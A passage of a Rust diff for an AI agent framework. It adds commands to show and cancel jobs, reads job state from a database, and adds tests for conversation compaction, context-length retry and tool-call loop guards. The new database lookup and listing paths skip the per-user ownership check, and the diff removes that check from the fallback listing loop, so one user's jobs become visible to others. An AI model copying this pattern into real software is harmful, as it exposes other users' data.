@@ -685,6 +728,13 @@ impl Agent {
|
||||
Submission::Heartbeat => self.process_heartbeat().await,
|
||||
Submission::Summarize => self.process_summarize(session, thread_id).await,
|
||||
Submission::Suggest => self.process_suggest(session, thread_id).await,
|
||||
Submission::JobStatus { job_id } => {
|
||||
self.process_job_status(&message.user_id, job_id.as_deref())
|
||||
.await
|
||||
}
|
||||
Submission::JobCancel { job_id } => {
|
||||
self.process_job_cancel(&message.user_id, &job_id).await
|
||||
}
|
||||
Submission::Quit => return Ok(None),
|
||||
Submission::SwitchThread { thread_id: target } => {
|
||||
self.process_switch_thread(message, target).await
|
||||
|
||||
+116
-7
@@ -12,6 +12,7 @@ use crate::agent::session::Session;
|
||||
use crate::agent::submission::SubmissionResult;
|
||||
use crate::agent::{Agent, MessageIntent};
|
||||
use crate::channels::{IncomingMessage, StatusUpdate};
|
||||
use crate::context::JobState;
|
||||
use crate::error::Error;
|
||||
use crate::llm::{ChatMessage, Reasoning};
|
||||
|
||||
@@ -117,6 +118,22 @@ impl Agent {
|
||||
let uuid = Uuid::parse_str(&id)
|
||||
.map_err(|_| crate::error::JobError::NotFound { id: Uuid::nil() })?;
|
||||
|
||||
// Try DB first for persistent state, fall back to ContextManager.
|
||||
if let Some(store) = self.store()
|
||||
&& let Ok(Some(ctx)) = store.get_job(uuid).await
|
||||
{
|
||||
return Ok(format!(
|
||||
"Job: {}\nStatus: {:?}\nCreated: {}\nStarted: {}\nActual cost: {}",
|
||||
ctx.title,
|
||||
ctx.state,
|
||||
ctx.created_at.format("%Y-%m-%d %H:%M:%S"),
|
||||
ctx.started_at
|
||||
.map(|t| t.format("%Y-%m-%d %H:%M:%S").to_string())
|
||||
.unwrap_or_else(|| "Not started".to_string()),
|
||||
ctx.actual_cost
|
||||
));
|
||||
}
|
||||
|
||||
let ctx = self.context_manager.get_context(uuid).await?;
|
||||
if ctx.user_id != user_id {
|
||||
return Err(crate::error::JobError::NotFound { id: uuid }.into());
|
||||
@@ -134,10 +151,38 @@ impl Agent {
|
||||
))
|
||||
}
|
||||
None => {
|
||||
// Show summary of all jobs
|
||||
// Show summary from DB for consistency with Jobs tab.
|
||||
if let Some(store) = self.store() {
|
||||
let mut total = 0;
|
||||
let mut in_progress = 0;
|
||||
let mut completed = 0;
|
||||
let mut failed = 0;
|
||||
let mut stuck = 0;
|
||||
|
||||
if let Ok(s) = store.agent_job_summary().await {
|
||||
total += s.total;
|
||||
in_progress += s.in_progress;
|
||||
completed += s.completed;
|
||||
failed += s.failed;
|
||||
stuck += s.stuck;
|
||||
}
|
||||
if let Ok(s) = store.sandbox_job_summary().await {
|
||||
total += s.total;
|
||||
in_progress += s.running;
|
||||
completed += s.completed;
|
||||
failed += s.failed + s.interrupted;
|
||||
}
|
||||
|
||||
return Ok(format!(
|
||||
"Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}",
|
||||
total, in_progress, completed, failed, stuck
|
||||
));
|
||||
}
|
||||
|
||||
// Fallback to ContextManager if no DB.
|
||||
let summary = self.context_manager.summary_for(user_id).await;
|
||||
Ok(format!(
|
||||
"Jobs summary:\n Total: {}\n In Progress: {}\n Completed: {}\n Failed: {}\n Stuck: {}",
|
||||
"Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}",
|
||||
summary.total,
|
||||
summary.in_progress,
|
||||
summary.completed,
|
||||
@@ -159,6 +204,15 @@ impl Agent {
|
||||
|
||||
self.scheduler.stop(uuid).await?;
|
||||
|
||||
// Also update DB so the Jobs tab reflects cancellation immediately.
|
||||
if let Some(store) = self.store()
|
||||
&& let Err(e) = store
|
||||
.update_job_status(uuid, JobState::Cancelled, Some("Cancelled by user"))
|
||||
.await
|
||||
{
|
||||
tracing::warn!(job_id = %uuid, "Failed to persist cancellation to DB: {}", e);
|
||||
}
|
||||
|
||||
Ok(format!("Job {} has been cancelled.", job_id))
|
||||
}
|
||||
|
||||
@@ -167,21 +221,49 @@ impl Agent {
|
||||
user_id: &str,
|
||||
_filter: Option<String>,
|
||||
) -> Result<String, Error> {
|
||||
let jobs = self.context_manager.all_jobs_for(user_id).await;
|
||||
// List from DB for consistency with Jobs tab.
|
||||
if let Some(store) = self.store() {
|
||||
let agent_jobs = match store.list_agent_jobs().await {
|
||||
Ok(jobs) => jobs,
|
||||
Err(e) => {
|
||||
tracing::warn!("Failed to list agent jobs: {}", e);
|
||||
Vec::new()
|
||||
}
|
||||
};
|
||||
let sandbox_jobs = match store.list_sandbox_jobs().await {
|
||||
Ok(jobs) => jobs,
|
||||
Err(e) => {
|
||||
tracing::warn!("Failed to list sandbox jobs: {}", e);
|
||||
Vec::new()
|
||||
}
|
||||
};
|
||||
|
||||
if agent_jobs.is_empty() && sandbox_jobs.is_empty() {
|
||||
return Ok("No jobs found.".to_string());
|
||||
}
|
||||
|
||||
let mut output = String::from("Jobs:\n");
|
||||
for j in &agent_jobs {
|
||||
output.push_str(&format!(" {} - {} ({})\n", j.id, j.title, j.status));
|
||||
}
|
||||
for j in &sandbox_jobs {
|
||||
output.push_str(&format!(" {} - {} ({})\n", j.id, j.task, j.status));
|
||||
}
|
||||
return Ok(output);
|
||||
}
|
||||
|
||||
// Fallback to ContextManager if no DB.
|
||||
let jobs = self.context_manager.all_jobs_for(user_id).await;
|
||||
if jobs.is_empty() {
|
||||
return Ok("No jobs found.".to_string());
|
||||
}
|
||||
|
||||
let mut output = String::from("Jobs:\n");
|
||||
for job_id in jobs {
|
||||
if let Ok(ctx) = self.context_manager.get_context(job_id).await
|
||||
&& ctx.user_id == user_id
|
||||
{
|
||||
if let Ok(ctx) = self.context_manager.get_context(job_id).await {
|
||||
output.push_str(&format!(" {} - {} ({:?})\n", job_id, ctx.title, ctx.state));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(output)
|
||||
}
|
||||
|
||||
@@ -220,6 +302,33 @@ impl Agent {
|
||||
}
|
||||
}
|
||||
|
||||
/// Show job status inline — either all jobs (no id) or a specific job.
|
||||
pub(super) async fn process_job_status(
|
||||
&self,
|
||||
user_id: &str,
|
||||
job_id: Option<&str>,
|
||||
) -> Result<SubmissionResult, Error> {
|
||||
match self
|
||||
.handle_check_status(user_id, job_id.map(|s| s.to_string()))
|
||||
.await
|
||||
{
|
||||
Ok(text) => Ok(SubmissionResult::response(text)),
|
||||
Err(e) => Ok(SubmissionResult::error(format!("Job status error: {}", e))),
|
||||
}
|
||||
}
|
||||
|
||||
/// Cancel a job by ID.
|
||||
pub(super) async fn process_job_cancel(
|
||||
&self,
|
||||
user_id: &str,
|
||||
job_id: &str,
|
||||
) -> Result<SubmissionResult, Error> {
|
||||
match self.handle_cancel_job(user_id, job_id).await {
|
||||
Ok(text) => Ok(SubmissionResult::response(text)),
|
||||
Err(e) => Ok(SubmissionResult::error(format!("Cancel error: {}", e))),
|
||||
}
|
||||
}
|
||||
|
||||
/// Trigger a manual heartbeat check.
|
||||
pub(super) async fn process_heartbeat(&self) -> Result<SubmissionResult, Error> {
|
||||
let Some(workspace) = self.workspace() else {
|
||||
|
||||
@@ -342,4 +342,482 @@ mod tests {
|
||||
assert_eq!(partial.turns_removed, 0);
|
||||
assert!(!partial.summary_written);
|
||||
}
|
||||
|
||||
// === QA Plan - Compaction strategy tests ===
|
||||
|
||||
use crate::agent::context_monitor::CompactionStrategy;
|
||||
use crate::config::SafetyConfig;
|
||||
use crate::safety::SafetyLayer;
|
||||
use crate::testing::StubLlm;
|
||||
|
||||
/// Helper: build a `ContextCompactor` with the given `StubLlm`.
|
||||
fn make_compactor(llm: Arc<StubLlm>) -> ContextCompactor {
|
||||
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
|
||||
max_output_length: 100_000,
|
||||
injection_check_enabled: false,
|
||||
}));
|
||||
ContextCompactor::new(llm, safety)
|
||||
}
|
||||
|
||||
/// Helper: build a thread with `n` completed turns.
|
||||
/// Turn `i` has user_input "msg-{i}" and response "resp-{i}".
|
||||
fn make_thread(n: usize) -> Thread {
|
||||
let mut thread = Thread::new(Uuid::new_v4());
|
||||
for i in 0..n {
|
||||
thread.start_turn(format!("msg-{}", i));
|
||||
thread.complete_turn(format!("resp-{}", i));
|
||||
}
|
||||
thread
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 1. compact_truncate keeps last N turns
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_compact_truncate_keeps_last_n() {
|
||||
let llm = Arc::new(StubLlm::new("unused"));
|
||||
let compactor = make_compactor(llm);
|
||||
let mut thread = make_thread(10);
|
||||
assert_eq!(thread.turns.len(), 10);
|
||||
|
||||
let result = compactor
|
||||
.compact(
|
||||
&mut thread,
|
||||
CompactionStrategy::Truncate { keep_recent: 3 },
|
||||
None,
|
||||
)
|
||||
.await
|
||||
.expect("compact should succeed");
|
||||
|
||||
// Only 3 turns remain
|
||||
assert_eq!(thread.turns.len(), 3);
|
||||
|
||||
// They are the most recent ones (msg-7, msg-8, msg-9)
|
||||
assert_eq!(thread.turns[0].user_input, "msg-7");
|
||||
assert_eq!(thread.turns[1].user_input, "msg-8");
|
||||
assert_eq!(thread.turns[2].user_input, "msg-9");
|
||||
|
||||
// Turn numbers are re-indexed to 0, 1, 2
|
||||
assert_eq!(thread.turns[0].turn_number, 0);
|
||||
assert_eq!(thread.turns[1].turn_number, 1);
|
||||
assert_eq!(thread.turns[2].turn_number, 2);
|
||||
|
||||
// Result metadata
|
||||
assert_eq!(result.turns_removed, 7);
|
||||
assert!(!result.summary_written);
|
||||
assert!(result.summary.is_none());
|
||||
|
||||
// Tokens should be reported (before > 0 since we had content)
|
||||
assert!(result.tokens_before > 0);
|
||||
assert!(result.tokens_after > 0);
|
||||
assert!(result.tokens_before > result.tokens_after);
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 2. compact_truncate with fewer turns than limit (no-op)
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_compact_truncate_with_fewer_turns_than_limit() {
|
||||
let llm = Arc::new(StubLlm::new("unused"));
|
||||
let compactor = make_compactor(llm);
|
||||
let mut thread = make_thread(2);
|
||||
|
||||
let original_inputs: Vec<String> =
|
||||
thread.turns.iter().map(|t| t.user_input.clone()).collect();
|
||||
|
||||
let result = compactor
|
||||
.compact(
|
||||
&mut thread,
|
||||
CompactionStrategy::Truncate { keep_recent: 5 },
|
||||
None,
|
||||
)
|
||||
.await
|
||||
.expect("compact should succeed");
|
||||
|
||||
// All turns preserved
|
||||
assert_eq!(thread.turns.len(), 2);
|
||||
assert_eq!(thread.turns[0].user_input, original_inputs[0]);
|
||||
assert_eq!(thread.turns[1].user_input, original_inputs[1]);
|
||||
|
||||
// No turns removed
|
||||
assert_eq!(result.turns_removed, 0);
|
||||
assert!(!result.summary_written);
|
||||
assert!(result.summary.is_none());
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 3. compact_truncate with empty turns list
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_compact_truncate_empty_turns() {
|
||||
let llm = Arc::new(StubLlm::new("unused"));
|
||||
let compactor = make_compactor(llm);
|
||||
let mut thread = Thread::new(Uuid::new_v4());
|
||||
assert!(thread.turns.is_empty());
|
||||
|
||||
let result = compactor
|
||||
.compact(
|
||||
&mut thread,
|
||||
CompactionStrategy::Truncate { keep_recent: 3 },
|
||||
None,
|
||||
)
|
||||
.await
|
||||
.expect("compact should succeed on empty turns");
|
||||
|
||||
assert!(thread.turns.is_empty());
|
||||
assert_eq!(result.turns_removed, 0);
|
||||
assert_eq!(result.tokens_before, 0);
|
||||
assert_eq!(result.tokens_after, 0);
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 4. compact_with_summary produces summary turn via StubLlm
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_compact_with_summary_produces_summary_turn() {
|
||||
let canned_summary =
|
||||
"- User greeted the agent\n- Agent responded warmly\n- Five exchanges completed";
|
||||
let llm = Arc::new(StubLlm::new(canned_summary));
|
||||
let compactor = make_compactor(llm.clone());
|
||||
let mut thread = make_thread(5);
|
||||
|
||||
let result = compactor
|
||||
.compact(
|
||||
&mut thread,
|
||||
CompactionStrategy::Summarize { keep_recent: 2 },
|
||||
None,
|
||||
)
|
||||
.await
|
||||
.expect("compact with summary should succeed");
|
||||
|
||||
// Should keep only 2 recent turns
|
||||
assert_eq!(thread.turns.len(), 2);
|
||||
|
||||
// The kept turns should be the last two (msg-3, msg-4)
|
||||
assert_eq!(thread.turns[0].user_input, "msg-3");
|
||||
assert_eq!(thread.turns[1].user_input, "msg-4");
|
||||
|
||||
// Result should report the summary
|
||||
assert_eq!(result.turns_removed, 3);
|
||||
assert!(result.summary.is_some());
|
||||
let summary = result.summary.unwrap();
|
||||
assert!(summary.contains("User greeted the agent"));
|
||||
assert!(summary.contains("Five exchanges completed"));
|
||||
|
||||
// summary_written should be false since no workspace was provided
|
||||
assert!(!result.summary_written);
|
||||
|
||||
// StubLlm should have been called exactly once for the summary
|
||||
assert_eq!(llm.calls(), 1);
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 5. compact_with_summary: LLM failure returns error (does not corrupt thread)
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_compact_with_summary_llm_failure() {
|
||||
let llm = Arc::new(StubLlm::failing("broken-llm"));
|
||||
let compactor = make_compactor(llm.clone());
|
||||
let mut thread = make_thread(8);
|
||||
let original_len = thread.turns.len();
|
||||
|
||||
let result = compactor
|
||||
.compact(
|
||||
&mut thread,
|
||||
CompactionStrategy::Summarize { keep_recent: 3 },
|
||||
None,
|
||||
)
|
||||
.await;
|
||||
|
||||
// The LLM failure should propagate as an error
|
||||
assert!(result.is_err());
|
||||
|
||||
// The thread should NOT have been modified (turns not truncated
|
||||
// on failure, since the error occurs before truncation)
|
||||
assert_eq!(thread.turns.len(), original_len);
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 6. compact_with_summary: fewer turns than keep_recent is a no-op
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_compact_with_summary_fewer_turns_than_keep() {
|
||||
let llm = Arc::new(StubLlm::new("should not be called"));
|
||||
let compactor = make_compactor(llm.clone());
|
||||
let mut thread = make_thread(3);
|
||||
|
||||
let result = compactor
|
||||
.compact(
|
||||
&mut thread,
|
||||
CompactionStrategy::Summarize { keep_recent: 5 },
|
||||
None,
|
||||
)
|
||||
.await
|
||||
.expect("compact should succeed");
|
||||
|
||||
// No turns removed, LLM never called
|
||||
assert_eq!(thread.turns.len(), 3);
|
||||
assert_eq!(result.turns_removed, 0);
|
||||
assert!(result.summary.is_none());
|
||||
assert_eq!(llm.calls(), 0);
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 7. compact_to_workspace without workspace falls back to truncation
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_compact_to_workspace_without_workspace_falls_back() {
|
||||
let llm = Arc::new(StubLlm::new("unused"));
|
||||
let compactor = make_compactor(llm);
|
||||
let mut thread = make_thread(20);
|
||||
|
||||
let result = compactor
|
||||
.compact(&mut thread, CompactionStrategy::MoveToWorkspace, None)
|
||||
.await
|
||||
.expect("compact should succeed");
|
||||
|
||||
// Without a workspace, compact_to_workspace falls back to truncation
|
||||
// keeping 5 turns (the hardcoded fallback in the code)
|
||||
assert_eq!(thread.turns.len(), 5);
|
||||
assert_eq!(result.turns_removed, 15);
|
||||
|
||||
// The remaining turns should be the last 5
|
||||
assert_eq!(thread.turns[0].user_input, "msg-15");
|
||||
assert_eq!(thread.turns[4].user_input, "msg-19");
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 8. compact_to_workspace: fewer turns than keep is a no-op
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_compact_to_workspace_fewer_turns_noop() {
|
||||
let llm = Arc::new(StubLlm::new("unused"));
|
||||
let compactor = make_compactor(llm);
|
||||
// MoveToWorkspace keeps 10 turns when workspace is available.
|
||||
// Without workspace it falls back to truncate(5).
|
||||
// With fewer turns, test the no-workspace fallback path:
|
||||
let mut thread = make_thread(4);
|
||||
|
||||
let result = compactor
|
||||
.compact(&mut thread, CompactionStrategy::MoveToWorkspace, None)
|
||||
.await
|
||||
.expect("compact should succeed");
|
||||
|
||||
// 4 turns < 5 (fallback keep_recent), so no truncation
|
||||
assert_eq!(thread.turns.len(), 4);
|
||||
assert_eq!(result.turns_removed, 0);
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 9. format_turns_for_storage includes tool calls
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[test]
|
||||
fn test_format_turns_for_storage_with_tool_calls() {
|
||||
let mut thread = Thread::new(Uuid::new_v4());
|
||||
thread.start_turn("Search for X");
|
||||
// Record a tool call on the current turn
|
||||
if let Some(turn) = thread.turns.last_mut() {
|
||||
turn.record_tool_call("search", serde_json::json!({"query": "X"}));
|
||||
}
|
||||
thread.complete_turn("Found X");
|
||||
|
||||
let formatted = format_turns_for_storage(&thread.turns);
|
||||
assert!(formatted.contains("Turn 1"));
|
||||
assert!(formatted.contains("Search for X"));
|
||||
assert!(formatted.contains("Found X"));
|
||||
assert!(formatted.contains("Tools: search"));
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 10. format_turns_for_storage with no response (incomplete turn)
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[test]
|
||||
fn test_format_turns_for_storage_incomplete_turn() {
|
||||
let mut thread = Thread::new(Uuid::new_v4());
|
||||
thread.start_turn("In progress message");
|
||||
// Don't complete the turn
|
||||
|
||||
let formatted = format_turns_for_storage(&thread.turns);
|
||||
assert!(formatted.contains("Turn 1"));
|
||||
assert!(formatted.contains("In progress message"));
|
||||
// No "Agent:" line since response is None
|
||||
assert!(!formatted.contains("Agent:"));
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 11. format_turns_for_storage empty list
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[test]
|
||||
fn test_format_turns_for_storage_empty() {
|
||||
let formatted = format_turns_for_storage(&[]);
|
||||
assert!(formatted.is_empty());
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 12. Token counts decrease after truncation
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_tokens_decrease_after_compaction() {
|
||||
let llm = Arc::new(StubLlm::new("unused"));
|
||||
let compactor = make_compactor(llm);
|
||||
let mut thread = make_thread(20);
|
||||
|
||||
let result = compactor
|
||||
.compact(
|
||||
&mut thread,
|
||||
CompactionStrategy::Truncate { keep_recent: 5 },
|
||||
None,
|
||||
)
|
||||
.await
|
||||
.expect("compact should succeed");
|
||||
|
||||
assert!(
|
||||
result.tokens_after < result.tokens_before,
|
||||
"tokens_after ({}) should be less than tokens_before ({})",
|
||||
result.tokens_after,
|
||||
result.tokens_before
|
||||
);
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 13. compact_with_summary: keep_recent=0 removes all turns
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_compact_truncate_keep_zero() {
|
||||
let llm = Arc::new(StubLlm::new("unused"));
|
||||
let compactor = make_compactor(llm);
|
||||
let mut thread = make_thread(5);
|
||||
|
||||
let result = compactor
|
||||
.compact(
|
||||
&mut thread,
|
||||
CompactionStrategy::Truncate { keep_recent: 0 },
|
||||
None,
|
||||
)
|
||||
.await
|
||||
.expect("compact should succeed");
|
||||
|
||||
assert!(thread.turns.is_empty());
|
||||
assert_eq!(result.turns_removed, 5);
|
||||
assert_eq!(result.tokens_after, 0);
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 14. Summarize with keep_recent=0 summarizes all and removes all
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_compact_with_summary_keep_zero() {
|
||||
let llm = Arc::new(StubLlm::new("Summary of all turns"));
|
||||
let compactor = make_compactor(llm.clone());
|
||||
let mut thread = make_thread(5);
|
||||
|
||||
let result = compactor
|
||||
.compact(
|
||||
&mut thread,
|
||||
CompactionStrategy::Summarize { keep_recent: 0 },
|
||||
None,
|
||||
)
|
||||
.await
|
||||
.expect("compact should succeed");
|
||||
|
||||
assert!(thread.turns.is_empty());
|
||||
assert_eq!(result.turns_removed, 5);
|
||||
assert!(result.summary.is_some());
|
||||
assert_eq!(result.summary.unwrap(), "Summary of all turns");
|
||||
assert_eq!(llm.calls(), 1);
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 15. Messages are correctly built from turns for thread.messages()
|
||||
// after compaction
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_messages_coherent_after_compaction() {
|
||||
let llm = Arc::new(StubLlm::new("unused"));
|
||||
let compactor = make_compactor(llm);
|
||||
let mut thread = make_thread(10);
|
||||
|
||||
compactor
|
||||
.compact(
|
||||
&mut thread,
|
||||
CompactionStrategy::Truncate { keep_recent: 3 },
|
||||
None,
|
||||
)
|
||||
.await
|
||||
.expect("compact should succeed");
|
||||
|
||||
let messages = thread.messages();
|
||||
// 3 turns * 2 messages each (user + assistant) = 6
|
||||
assert_eq!(messages.len(), 6);
|
||||
|
||||
// Verify alternating user/assistant pattern
|
||||
for (i, msg) in messages.iter().enumerate() {
|
||||
if i % 2 == 0 {
|
||||
assert_eq!(msg.role, crate::llm::Role::User);
|
||||
} else {
|
||||
assert_eq!(msg.role, crate::llm::Role::Assistant);
|
||||
}
|
||||
}
|
||||
|
||||
// Verify content matches the last 3 original turns
|
||||
assert_eq!(messages[0].content, "msg-7");
|
||||
assert_eq!(messages[1].content, "resp-7");
|
||||
assert_eq!(messages[4].content, "msg-9");
|
||||
assert_eq!(messages[5].content, "resp-9");
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// 16. Multiple sequential compactions work correctly
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_sequential_compactions() {
|
||||
let llm = Arc::new(StubLlm::new("unused"));
|
||||
let compactor = make_compactor(llm);
|
||||
let mut thread = make_thread(20);
|
||||
|
||||
// First compaction: 20 -> 10
|
||||
let r1 = compactor
|
||||
.compact(
|
||||
&mut thread,
|
||||
CompactionStrategy::Truncate { keep_recent: 10 },
|
||||
None,
|
||||
)
|
||||
.await
|
||||
.expect("first compact");
|
||||
assert_eq!(thread.turns.len(), 10);
|
||||
assert_eq!(r1.turns_removed, 10);
|
||||
|
||||
// Second compaction: 10 -> 3
|
||||
let r2 = compactor
|
||||
.compact(
|
||||
&mut thread,
|
||||
CompactionStrategy::Truncate { keep_recent: 3 },
|
||||
None,
|
||||
)
|
||||
.await
|
||||
.expect("second compact");
|
||||
assert_eq!(thread.turns.len(), 3);
|
||||
assert_eq!(r2.turns_removed, 7);
|
||||
|
||||
// The remaining turns should be the very last 3 from the original 20
|
||||
assert_eq!(thread.turns[0].user_input, "msg-17");
|
||||
assert_eq!(thread.turns[1].user_input, "msg-18");
|
||||
assert_eq!(thread.turns[2].user_input, "msg-19");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -106,6 +106,15 @@ impl Agent {
|
||||
.with_channel(message.channel.clone())
|
||||
.with_model_name(self.llm().active_model_name())
|
||||
.with_group_chat(is_group_chat);
|
||||
|
||||
// Pass channel-specific conversation context to the LLM.
|
||||
// This helps the agent know who/group it's talking to.
|
||||
if let Some(channel) = self.channels.get_channel(&message.channel).await {
|
||||
for (key, value) in channel.conversation_context(&message.metadata) {
|
||||
reasoning = reasoning.with_conversation_data(&key, &value);
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(prompt) = system_prompt {
|
||||
reasoning = reasoning.with_system_prompt(prompt);
|
||||
}
|
||||
@@ -973,6 +982,7 @@ mod tests {
|
||||
skills_config: SkillsConfig::default(),
|
||||
hooks: Arc::new(HookRegistry::new()),
|
||||
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
|
||||
sse_tx: None,
|
||||
};
|
||||
|
||||
Agent::new(
|
||||
@@ -1425,4 +1435,471 @@ mod tests {
|
||||
.count();
|
||||
assert_eq!(nudge_count, 1);
|
||||
}
|
||||
|
||||
// === QA Plan P2 - 2.7: Context length recovery ===
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_context_length_recovery_via_compaction_and_retry() {
|
||||
// Simulates the dispatcher's recovery path:
|
||||
// 1. Provider returns ContextLengthExceeded
|
||||
// 2. compact_messages_for_retry reduces context
|
||||
// 3. Retry with compacted messages succeeds
|
||||
use crate::llm::Reasoning;
|
||||
use crate::testing::StubLlm;
|
||||
|
||||
let stub = Arc::new(StubLlm::failing_non_transient("ctx-bomb"));
|
||||
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
|
||||
max_output_length: 100_000,
|
||||
injection_check_enabled: false,
|
||||
}));
|
||||
|
||||
let reasoning = Reasoning::new(stub.clone(), safety);
|
||||
|
||||
// Build a fat context with lots of history.
|
||||
let messages = vec![
|
||||
ChatMessage::system("You are a helpful assistant."),
|
||||
ChatMessage::user("First question"),
|
||||
ChatMessage::assistant("First answer"),
|
||||
ChatMessage::user("Second question"),
|
||||
ChatMessage::assistant("Second answer"),
|
||||
ChatMessage::user("Third question"),
|
||||
ChatMessage::assistant("Third answer"),
|
||||
ChatMessage::user("Current request"),
|
||||
];
|
||||
|
||||
let context = crate::llm::ReasoningContext::new().with_messages(messages.clone());
|
||||
|
||||
// Step 1: First call fails with ContextLengthExceeded.
|
||||
let err = reasoning.respond_with_tools(&context).await.unwrap_err();
|
||||
assert!(
|
||||
matches!(err, crate::error::LlmError::ContextLengthExceeded { .. }),
|
||||
"Expected ContextLengthExceeded, got: {:?}",
|
||||
err
|
||||
);
|
||||
assert_eq!(stub.calls(), 1);
|
||||
|
||||
// Step 2: Compact messages (same as dispatcher lines 226).
|
||||
let compacted = compact_messages_for_retry(&messages);
|
||||
// Should have dropped the old history, kept system + note + last user.
|
||||
assert!(compacted.len() < messages.len());
|
||||
assert_eq!(compacted.last().unwrap().content, "Current request");
|
||||
|
||||
// Step 3: Switch provider to success and retry.
|
||||
stub.set_failing(false);
|
||||
let retry_context = crate::llm::ReasoningContext::new().with_messages(compacted);
|
||||
|
||||
let result = reasoning.respond_with_tools(&retry_context).await;
|
||||
assert!(result.is_ok(), "Retry after compaction should succeed");
|
||||
assert_eq!(stub.calls(), 2);
|
||||
}
|
||||
|
||||
// === QA Plan P2 - 4.3: Dispatcher loop guard tests ===
|
||||
|
||||
/// LLM provider that always returns tool calls when tools are available,
|
||||
/// and text when tools are empty (simulating force_text stripping tools).
|
||||
struct AlwaysToolCallProvider;
|
||||
|
||||
#[async_trait]
|
||||
impl LlmProvider for AlwaysToolCallProvider {
|
||||
fn model_name(&self) -> &str {
|
||||
"always-tool-call"
|
||||
}
|
||||
|
||||
fn cost_per_token(&self) -> (Decimal, Decimal) {
|
||||
(Decimal::ZERO, Decimal::ZERO)
|
||||
}
|
||||
|
||||
async fn complete(
|
||||
&self,
|
||||
_request: CompletionRequest,
|
||||
) -> Result<CompletionResponse, crate::error::LlmError> {
|
||||
Ok(CompletionResponse {
|
||||
content: "forced text response".to_string(),
|
||||
input_tokens: 0,
|
||||
output_tokens: 5,
|
||||
finish_reason: FinishReason::Stop,
|
||||
})
|
||||
}
|
||||
|
||||
async fn complete_with_tools(
|
||||
&self,
|
||||
request: ToolCompletionRequest,
|
||||
) -> Result<ToolCompletionResponse, crate::error::LlmError> {
|
||||
if request.tools.is_empty() {
|
||||
// No tools = force_text mode; return text.
|
||||
return Ok(ToolCompletionResponse {
|
||||
content: Some("forced text response".to_string()),
|
||||
tool_calls: Vec::new(),
|
||||
input_tokens: 0,
|
||||
output_tokens: 5,
|
||||
finish_reason: FinishReason::Stop,
|
||||
});
|
||||
}
|
||||
// Tools available: always call one.
|
||||
Ok(ToolCompletionResponse {
|
||||
content: None,
|
||||
tool_calls: vec![ToolCall {
|
||||
id: format!("call_{}", uuid::Uuid::new_v4()),
|
||||
name: "echo".to_string(),
|
||||
arguments: serde_json::json!({"message": "looping"}),
|
||||
}],
|
||||
input_tokens: 0,
|
||||
output_tokens: 5,
|
||||
finish_reason: FinishReason::ToolUse,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn force_text_prevents_infinite_tool_call_loop() {
|
||||
// Verify that Reasoning with force_text=true returns text even when
|
||||
// the provider would normally return tool calls.
|
||||
use crate::llm::{Reasoning, ReasoningContext, RespondResult, ToolDefinition};
|
||||
|
||||
let provider = Arc::new(AlwaysToolCallProvider);
|
||||
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
|
||||
max_output_length: 100_000,
|
||||
injection_check_enabled: false,
|
||||
}));
|
||||
let reasoning = Reasoning::new(provider, safety);
|
||||
|
||||
let tool_def = ToolDefinition {
|
||||
name: "echo".to_string(),
|
||||
description: "Echo a message".to_string(),
|
||||
parameters: serde_json::json!({"type": "object", "properties": {"message": {"type": "string"}}}),
|
||||
};
|
||||
|
||||
// Without force_text: provider returns tool calls.
|
||||
let ctx_normal = ReasoningContext::new()
|
||||
.with_messages(vec![ChatMessage::user("hello")])
|
||||
.with_tools(vec![tool_def.clone()]);
|
||||
let output = reasoning.respond_with_tools(&ctx_normal).await.unwrap();
|
||||
assert!(
|
||||
matches!(output.result, RespondResult::ToolCalls { .. }),
|
